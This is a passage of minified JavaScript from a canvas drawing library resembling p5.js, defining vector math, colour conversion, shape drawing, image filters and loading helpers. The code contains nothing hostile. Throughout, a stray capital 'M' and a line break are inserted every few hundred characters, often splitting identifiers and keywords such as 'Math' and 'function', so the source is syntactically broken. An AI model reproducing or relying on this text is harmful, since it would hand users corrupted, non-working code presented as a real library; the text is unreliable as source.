FT="left",n.RIGHT="right",n.TOP="top",n.BOTTOM="bottom",n.BASELINE="alphabetic",n.LANDSCAPE="landscape",n.PORTRAIT="portrait",n.ALT=18,n.BACKSPACE=8,n.CONTROL=17,n.DELETE=46,n.DOWN_ARROW=40,n.ENTER=13,n.ESCAPE=27,n.LEFT_ARROW=37,n.OPTION=18,n.RETURN=13,n.RIGHT_ARROW=39,n.SHIFT=16,n.TAB=9,n.UP_ARROW=38,n.HALF_PI=Math.PI/2,n.PI=Math.PI,n.QUARTER_PI=Math.PI/4,n.TAU=2*Math.PI,n.TWO_PI=2*Math.PI,n.THRESHOLD=1,n.GRAY=2,n.OPAQUE=3,n.INVERT=4,n.POSTERIZE=5,n.DILATE=6,n.ERODE=7,n.BLUR=8,n.ARROW="default",n.CROSS="crosshair"M
,n.HAND="pointer",n.MOVE="move",n.TEXT="text",n.VIDEO={video:!0,audio:!1},n.AUDIO={video:!1,audio:!0},n.SHR3=1,n.LCG=2,n.HARDWARE_FILTERS=!0,n.hint=function(e,t){n[e]=t},n.frameCount=0,n.mouseX=0,n.mouseY=0,n.pmouseX=0,n.pmouseY=0,n.mouseButton=null,n.keyIsPressed=!1,n.mouseIsPressed=!1,n.key=null,n.keyCode=null,n.pixels=null,n.accelerationX=0,n.accelerationY=0,n.accelerationZ=0,n.rotationX=0,n.rotationY=0,n.rotationZ=0,n.relRotationX=0,n.relRotationY=0,n.relRotationZ=0,n.pAccelerationX=0,n.pAccelerationY=0,n.pAcceM
lerationZ=0,n.pRotationX=0,n.pRotationY=0,n.pRotationZ=0,n.pRelRotationX=0,n.pRelRotationY=0,n.pRelRotationZ=0,n.touches=[],n._styleCache=[{colorMode:n.RGB,noStroke:!1,noFill:!1,ellipseMode:n.CENTER,rectMode:n.CORNER,curveDetail:20,curveAlpha:0,textFont:"sans-serif",textSize:12,textLeading:12,textStyle:"normal"}],n._style=n._styleCache[n._styleCache.length-1],n._noLoop=!1,n._pixelDensity=1,n._frameRate=null,n._tint=null;let r=null,a=!0,i=[],l=null,s=0,u={},c=0,h=null,f=null,d=null;Object.defineProperty(n,"deviceOriM
entation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}}),Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}}),Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}}),Object.defineProperty(n,"drawingContext",{get:function(){return o}}),n.createCanvas=function(e,t){return n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,y(),n.canvas},n.resizeCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t},nM
.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o},n.pixelDensity=function(e){return null==e||(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),y()),n._pixelDensity},n.map=function(e,t,n,o,r,a){let i=o+1*(e-t)/(n-t)*(r-o);return a?o<r?Math.min(Math.max(i,o),r):Math.min(Math.max(i,r),o):i},n.lerp=function(eM
,t,n){return e*(1-n)+t*n},n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)},n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])},n.norm=function(e,t,o){return n.map(e,t,o,0,1)},n.sq=function(e){return e*e},n.fract=function(e){return e-Math.floor(e)},n.degrees=function(e){return 180*e/Math.PI},n.radians=function(e){return e*Math.PI/180},n.abs=Math.abs,n.ceil=MM
ath.ceil,n.exp=Math.exp,n.floor=Math.floor,n.log=Math.log,n.mag=Math.hypot,n.max=Math.max,n.min=Math.min,n.round=Math.round,n.sqrt=Math.sqrt,n.sin=Math.sin,n.cos=Math.cos,n.tan=Math.tan,n.asin=Math.asin,n.acos=Math.acos,n.atan=Math.atan,n.atan2=Math.atan2,n.Vector=function(e,t,o){let r=this;r.x=e||0,r.y=t||0,r.z=o||0;let a=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function s(){null==i&&(i=r.x*r.x+r.y*r.y+r.z*r.z,a=Math.sqrt(i))}function u(){i=null,a=null}r.set=function(M
e,t,n){r.x=e||0,r.y=t||0,r.z=n||0},r.copy=function(){return new n.Vector(r.x,r.y,r.z)},r.add=function(){let e=l.apply(null,arguments);return r.x+=e.x,r.y+=e.y,r.z+=e.z,u(),r},r.rem=function(){let e=l.apply(null,arguments);return r.x%=e.x,r.y%=e.y,r.z%=e.z,u(),r},r.sub=function(){let e=l.apply(null,arguments);return r.x-=e.x,r.y-=e.y,r.z-=e.z,u(),r},r.mult=function(){let e=l.apply(null,arguments);return r.x*=e.x,r.y*=e.y,r.z*=e.z,u(),r},r.div=function(){let e=l.apply(null,arguments);return r.x/=e.x,r.y/=e.y,r.z/=e.zM
,u(),r},r.mag=function(){return s(),a},r.magSq=function(){return s(),i},r.dot=function(){let e=l.apply(null,arguments);return r.x*e.x+r.y*e.y+r.z*e.z},r.dist=function(){let e=l.apply(null,arguments),t=r.x-e.x,n=r.y-e.y,o=r.z-e.z;return Math.sqrt(t*t+n*n+o*o)},r.cross=function(){let e=l.apply(null,arguments),t=r.y*e.z-r.z*e.y,n=r.z*e.x-r.x*e.z,o=r.x*e.y-r.y*e.x;return r.x=t,r.y=n,r.z=o,u(),r},r.normalize=function(){s();let e=a;return r.x/=e,r.y/=e,r.z/=e,a=1,i=1,r},r.limit=function(e){s();if(a>e){let t=e/a;r.x*=t,r.M
y*=t,r.z*=t,a=e,i=e*e}return r},r.setMag=function(e){s();let t=e/a;return r.x*=t,r.y*=t,r.z*=t,a=e,i=e*e,r},r.heading=function(){return Math.atan2(r.y,r.x)},r.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=r.x*t-r.y*n,a=r.x*n+r.y*t;return r.x=o,r.y=a,r},r.angleBetween=function(){let e=l.apply(null,arguments);const t=r.dot(e)/(r.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*Math.sign(r.cross(e).z||1)},r.lerp=function(e,t){return r.x=r.x*(1-t)+e.x*t,r.y=r.y*(1-t)+e.y*t,r.z=r.z*(1-t)+e.z*M
t,u(),r},r.reflect=function(e){return e.normalize(),r.sub(e.mult(2*r.dot(e)))},r.array=function(){return[r.x,r.y,r.z]},r.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-r.x)<t&&Math.abs(e.y-r.y)<t&&Math.abs(e.z-r.z)<t},r.fromAngle=function(e,t){return null==t&&(t=1),a=t,i=t*t,r.x=t*Math.cos(e),r.y=t*Math.sin(e),r.z=0,r},r.fromAngles=function(e,t,n){null==n&&(n=1),a=n,i=n*n;const o=Math.cos(t),l=Math.sin(t),s=Math.cos(e),u=Math.sin(e);return r.x=n*u*l,r.y=-n*s,r.z=n*u*o,r},r.random2M
D=function(){return a=1,i=1,r.fromAngle(Math.random()*Math.PI*2)},r.random3D=function(){return a=1,i=1,r.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},r.toString=function(){return`[${r.x}, ${r.y}, ${r.z}]`}},n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)},n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)},n.Vector.sub=function(e,t){return new n.Vector(e.x-t.x,e.y-t.y,e.z-t.z)},n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):nM
ew n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)},n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)},n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)},n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)},n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.z=e.z*(1-o)+t.z*o)},n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAnglM
es","random2D","random3D"])n.Vector[e]=function(t,o,r){return(new n.Vector)[e](t,o,r)};function p(e,t,n){let o,r,a,i,l,s,u,c,h;if(0==t)return[255*(o=n),255*(r=n),255*(a=n)];switch((i=e)>360&&(i=0),u=n*(1-t),c=n*(1-t*(s=(i/=60)-(l=~~i))),h=n*(1-t*(1-s)),l){case 0:o=n,r=h,a=u;break;case 1:o=c,r=n,a=u;break;case 2:o=u,r=n,a=h;break;case 3:o=u,r=c,a=n;break;case 4:o=h,r=u,a=n;break;default:o=n,r=u,a=c}return[255*o,255*r,255*a]}function y(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}fM
unction m(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function g(e,t,r,a,i,l,s,u){if(n._style.noFill&&n._style.noStroke)return;let c=m(i),h=m(l);o.beginPath();for(let i=0;i<u+1;i++){let l=i/u,s=n.lerp(c,h,l),f=Math.cos(s)*r/2,d=Math.sin(s)*a/2;o[i?"lineTo":"moveTo"](e+f,t+d)}s==n.CHORD?o.closePath():s==n.PIE&&(o.lineTo(e,t),o.closePath()),n._style.noFill||o.fill(),n._style.noStroke||o.stroke()}function v(e,t,r,a){n._style.noFill&&n._style.noStroke||(o.beginPath(),oM
.ellipse(e,t,r/2,a/2,0,0,2*Math.PI),n._style.noFill||o.fill(),n._style.noStroke||o.stroke())}function M(e,t,r,a,i,l,s,u){if(n._style.noFill&&n._style.noStroke)return;if(null==i)return function(e,t,r,a){n._style.noFill||o.fillRect(e,t,r,a),n._style.noStroke||o.strokeRect(e,t,r,a)}(e,t,r,a);if(null==l)return M(e,t,r,a,i,i,i,i);const c=Math.min(Math.abs(a),Math.abs(r))/2;i=Math.min(c,i),l=Math.min(c,l),u=Math.min(c,u),s=Math.min(c,s),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+r,t,e+r,t+a,l),o.arcTo(e+r,t+a,e,t+a,s),o.arcM
To(e,t+a,e,t,u),o.arcTo(e,t,e+r,t,i),o.closePath(),n._style.noFill||o.fill(),n._style.noStroke||o.stroke()}function _(){i=[]}n.createVector=function(e,t,o){return new n.Vector(e,t,o)},n.curvePoint=function(e,t,n,o,r){const a=r*r*r,i=r*r;return e*(-.5*a+i-.5*r)+t*(1.5*a-2.5*i+1)+n*(-1.5*a+2*i+.5*r)+o*(.5*a-.5*i)},n.bezierPoint=function(e,t,n,o,r){const a=1-r;return Math.pow(a,3)*e+3*Math.pow(a,2)*r*t+3*a*Math.pow(r,2)*n+Math.pow(r,3)*o},n.curveTangent=function(e,t,n,o,r){const a=r*r;return e*(-3*a/2+2*r-.5)+t*(9*a/2M
-5*r)+n*(-9*a/2+4*r+.5)+o*(3*a/2-r)},n.bezierTangent=function(e,t,n,o,r){const a=1-r;return 3*o*Math.pow(r,2)-3*n*Math.pow(r,2)+6*n*a*r-6*t*a*r+3*t*Math.pow(a,2)-3*e*Math.pow(a,2)},n.Color=function(e,t,n,o){let r=this;r.MAGIC=786698,r._r=e,r._g=t,r._b=n,r._a=o,r._h=0,r._s=0,r._v=0,r._hsvInferred=!1,r.setRed=function(e){r._r=e,r._hsvInferred=!1},r.setGreen=function(e){r._g=e,r._hsvInferred=!1},r.setBlue=function(e){r._b=e,r._hsvInferred=!1},r.setAlpha=function(e){r._a=e/255,r._hsvInferred=!1},r._inferHSV=function(){M
r._hsvInferred||([r._h,r._s,r._v]=function(e,t,n){let o,r,a,i,l;return o=e<t?e<n?e:n:t<n?t:n,0==(l=100*(r=e>t?e>n?e:n:t>n?t:n)/255)?[a=0,i=0,l]:0==(i=100*(r-o)/r)?[a=0,i,l]:(a=r==e?0+60*(t-n)/(r-o):r==t?120+60*(n-e)/(r-o):240+60*(e-t)/(r-o),[a,i,l])}(r._r,r._g,r._b),r._hsvInferred=!0)},r.toString=function(){return`rgba(${Math.round(r._r)},${Math.round(r._g)},${Math.round(r._b)},${~~(1e3*r._a)/1e3})`}},n.colorMode=function(e){n._style.colorMode=e},n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGICM
)return arguments[0];if(n._style.colorMode==n.RGB){if(1==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)retM
urn new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null},n.red=function(e){return e._r},n.green=function(e){return e._g},n.blue=function(e){return e._b},n.alpha=function(e){return 255*e._a},n.hue=function(e){return e._inferHSV(),e._h},n.saturation=function(e){return e._inferHSV(),e._s},n.brightnM
ess=function(e){return e._inferHSV(),e._v},n.lightness=function(e){return 100*(.2126*e._r+.7152*e._g+.0722*e._b)/255},n.lerpColor=function(e,t,o){return n._style.colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var r=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.mapM
(o,0,1,e,t-360)]];return r.sort(((e,t)=>e[0]-t[0])),(r[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))},n.strokeWeight=function(e){n._style_noStroke=!1,o.lineWidth=e},n.stroke=function(){if(n._style.noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._style.noStroke=!0:o.strokeStyle=e},n.noStroke=function(){n._style.noStroke=!0},n.fill=fM
unction(){if(n._style.noFill=!1,"string"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._style.noFill=!0:o.fillStyle=e},n.noFill=function(){n._style.noFill=!0},n.blendMode=function(e){o.globalCompositeOperation=e},n.strokeCap=function(e){o.lineCap=e},n.strokeJoin=function(e){o.lineJoin=e},n.ellipseMode=function(e){n._style.ellipseMode=e},n.rectMode=function(e){n._style.rectMode=e},n.curveDetail=function(e){n._style.curveDetail=e},n.curveAlpha=function(e){n._M
style.curveAlpha=e},n.curveTightness=function(e){n._style.curveAlpha=e},n.clear=function(){o.clearRect(0,0,n.width,n.height)},n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity),o.fillStyle="string"==typeof arguments[0]?arguments[0]:n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.height),o.restore()},n.line=function(e,t,r,a){n._style.noStroke||(o.beginPath(),o.moveTo(e,tM
),o.lineTo(r,a),o.stroke())},n.arc=function(e,t,o,r,a,i,l,s){if(a==i)return n.ellipse(e,t,o,r);null==s&&(s=25),null==l&&(l=n.PIE),n._style.ellipseMode==n.CENTER?g(e,t,o,r,a,i,l,s):n._style.ellipseMode==n.RADIUS?g(e,t,2*o,2*r,a,i,l,s):n._style.ellipseMode==n.CORNER?g(e+o/2,t+r/2,o,r,a,i,l,s):n._style.ellipseMode==n.CORNERS&&g((e+o)/2,(t+r)/2,o-e,r-t,a,i,l,s)},n.ellipse=function(e,t,o,r){null==r&&(r=o),n._style.ellipseMode==n.CENTER?v(e,t,o,r):n._style.ellipseMode==n.RADIUS?v(e,t,2*o,2*r):n._style.ellipseMode==n.CORNM
ER?v(e+o/2,t+r/2,o,r):n._style.ellipseMode==n.CORNERS&&v((e+o)/2,(t+r)/2,o-e,r-t)},n.circle=function(e,t,o){return n.ellipse(e,t,o,o)},n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()},n.rect=function(e,t,o,r,a,i,l,s){n._style.rectMode==n.CENTER?M(e-o/2,t-r/2,o,r,a,i,l,s):n._style.rectMode==n.RADIUS?M(e-o,t-r,2*o,2*r,a,i,l,s):n._style.rectMode==n.CORNER?M(e,t,o,r,a,i,l,s):n._style.rectMode==n.CORNERS&&M(e,t,o-e,r-t,a,i,l,s)},n.square=function(e,t,o,r,a,i,l){returnM
 n.rect(e,t,o,o,r,a,i,l)},n.beginShape=function(){_(),o.beginPath(),a=!0},n.beginContour=function(){o.closePath(),_(),a=!0},n.endContour=function(){_(),a=!0},n.vertex=function(e,t){_(),a?o.moveTo(e,t):o.lineTo(e,t),a=!1},n.bezierVertex=function(e,t,n,r,a,i){_(),o.bezierCurveTo(e,t,n,r,a,i)},n.quadraticVertex=function(e,t,n,r){_(),o.quadraticCurveTo(e,t,n,r)},n.bezier=function(e,t,o,r,a,i,l,s){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,r,a,i,l,s),n.endShape()},n.triangle=function(e,t,o,r,a,i){n.beginShape(),n.verM
tex(e,t),n.vertex(o,r),n.vertex(a,i),n.endShape(n.CLOSE)},n.quad=function(e,t,o,r,a,i,l,s){n.beginShape(),n.vertex(e,t),n.vertex(o,r),n.vertex(a,i),n.vertex(l,s),n.endShape(n.CLOSE)},n.endShape=function(e){_(),e&&o.closePath(),n._style.noFill||o.fill(),n._style.noStroke||o.stroke(),n._style.noFill&&n._style.noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())},n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let r=function(e,t,n,o,r,a,i,l,s,u){function c(e,t,n,o,r,a){let i=Math.pow(o-t,2)+MathM
.pow(r-n,2);return Math.pow(i,.5*a)+e}let h=[],f=c(0,e,t,n,o,u),d=c(f,n,o,r,a,u),p=c(d,r,a,i,l,u);for(let u=0;u<s;u++){let c=f+u/(s-1)*(d-f),y=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<y.length;e+=2)isNaN(y[e])&&(y[e]=1,y[e+1]=0),isFinite(y[e])||(y[e]>0?(y[e]=1,y[e+1]=0):(y[e]=0,y[e+1]=1));let m=e*y[0]+n*y[1],g=t*y[0]+o*y[1],v=n*y[2]+r*y[3],M=o*y[2]+a*y[3],_=r*y[4]+i*y[5],x=a*y[4]+l*y[5],w=m*y[6]+v*y[7],R=g*y[6]+M*y[7],I=vM
*y[8]+_*y[9],C=M*y[8]+x*y[9],S=w*y[2]+I*y[3],E=R*y[2]+C*y[3];h.push([S,E])}return h}(...i[i.length-4],...i[i.length-3],...i[i.length-2],...i[i.length-1],n._style.curveDetail,n._style.curveAlpha);for(let e=0;e<r.length;e++)a?o.moveTo(...r[e]):o.lineTo(...r[e]),a=!1},n.curve=function(e,t,o,r,a,i,l,s){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,r),n.curveVertex(a,i),n.curveVertex(l,s),n.endShape()},n.translate=function(e,t){o.translate(e,t)},n.rotate=function(e){o.rotate(e)},n.scale=function(e,t){null==t&&(t=e),M
o.scale(e,t)},n.applyMatrix=function(e,t,n,r,a,i){o.transform(e,t,n,r,a,i)},n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)},n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)},n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)},n.pushMatrix=n.push=function(){n._styleCache.push({...n._style}),n._style=n._styleCache[n._styleCache.length-1],o.save()},n.popMatrix=n.pop=function(){n._styleCache.length-1&&(n._styleCache.pop(),n._style=n._styleCache[n._styleCache.length-1],oM
.restore())},n.image=function(e,t,r,a,i,l,s,u,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let t=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(M
e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),a?l?(u||(u=h.width),c||(c=h.height),o.drawImage(h,l,s,u,c,t,r,a,i),void d()):(o.drawImage(h,t,r,a,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,r,e.width,e.height):o.drawImage(h,t,r,e.videoWidth,e.videoHeight),void d())},n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data},n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)},n.loadImage=function(e,t){s++;let o=n.createGraphics(100,100M
),r=o.canvas.getContext("2d"),a=new Image;return a.src=e,a.crossOrigin="Anonymous",a.onload=function(){r.canvas.width=a.width,r.canvas.height=a.height,o.width=a.width,o.height=a.height,r.drawImage(a,0,0),s--,t&&t(o)},o};let x={};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClamM
pedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()}x[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}},x[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}},x[n.OPAQUE]=functM
ion(e){for(let t=0;t<e.length;t+=4)e[t+3]=255},x[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[t+2]=255-e[t+2]},x[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n},x[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let r=0;r<t;r++){let a=4*Math.max(r-1,0),i=4*Math.min(r+1,t-1),l=4*Math.max(o-1,0)*t,s=4*Math.min(o+1,n-1)*t,u=4*o*t,c=4*rM
;for(let t=0;t<4;t++){let n=t+l,o=t+s,r=t+u;e[u+c+t]=Math.max(d[n+c],d[r+a],d[r+c],d[r+i],d[o+c])}}},x[n.ERODE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let r=0;r<t;r++){let a=4*Math.max(r-1,0),i=4*Math.min(r+1,t-1),l=4*Math.max(o-1,0)*t,s=4*Math.min(o+1,n-1)*t,u=4*o*t,c=4*r;for(let t=0;t<4;t++){let n=t+l,o=t+s,r=t+u;e[u+c+t]=Math.min(d[n+c],d[r+a],d[r+c],d[r+i],d[o+c])}}},x[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let r=2*t+1,a=funcM
tion(e){let n=new Float32Array(e),o=.3*t+.8,r=o*o*2;for(let t=0;t<e;t++){let a=t-e/2,i=Math.exp(-a*a/r)/(2.5066282746*o);n[t]=i}return n}(r),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,s=0,u=0,c=0;for(let e=0;e<r;e++){let r=4*(n*i+Math.min(Math.max(o-t+e,0),i-1));l+=d[r]*a[e],s+=d[r+1]*a[e],u+=d[r+2]*a[e],c+=d[r+3]*a[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=s,e[h+2]=u,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let s=0,u=0,c=0,h=0;for(let e=0;e<r;e++){let r=4*(MathM
.min(Math.max(n-t+e,0),l-1)*i+o);s+=d[r]*a[e],u+=d[r+1]*a[e],c+=d[r+2]*a[e],h+=d[r+3]*a[e]}let f=4*(n*i+o);e[f]=s,e[f+1]=u,e[f+2]=c,e[f+3]=h}},n.filter=function(e,t){if(n.HARDWARE_FILTERS&&null!=o.filter)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5),I(`saturate(0%) brightness(${Math.floor(.5/t*100)}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawIM
mage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);x[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);x[e](n.data,t),o.putImageData(n,0,0)}},n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,M
0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()},n.get=function(e,t,r,a){if(null!=e&&null==r){let r=o.getImageData(e,t,1,1).data;return new n.Color(r[0],r[1],r[2],r[3]/255)}e=e||0,t=t||0,r=r||n.width,a=a||n.height;let i=n.createGraphics(r,a);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,r*n._pixelDensity,a*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i},n.set=function(e,t,r){if(r.MAGIC==n.MAGICM
){let o=n._tint;return n._tint=null,n.image(r,e,t),void(n._tint=o)}let a=4*(t*n._pixelDensity*o.canvas.width+e*n._pixelDensity);n.pixels[a]=r._r,n.pixels[a+1]=r._g,n.pixels[a+2]=r._b,n.pixels[a+3]=255*r._a},n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransM
form();let r=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.globalCompositeOperation=r,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()},n.tint=function(){n._tint=n.color(...Array.from(arguments))},n.noTint=function(){n._tint=null},n.mask=function(e){o.save(),o.resetTransform();let t=o.gloM
balCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeOperation=t,o.restore()},n.clearTemporaryBuffers=function(){h=null,f=null,d=null},n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",(function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t}),!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)},n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.M
save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let r=e.split(".");return n.save(r.slice(0,-1).join("."),r[r.length-1])},n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),r=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const a=document.createElement("style");return a.textContent=r,document.head.append(a),o},n.textFont=function(e){n._style.textFont=e},n.textSize=function(e){n._style.teM
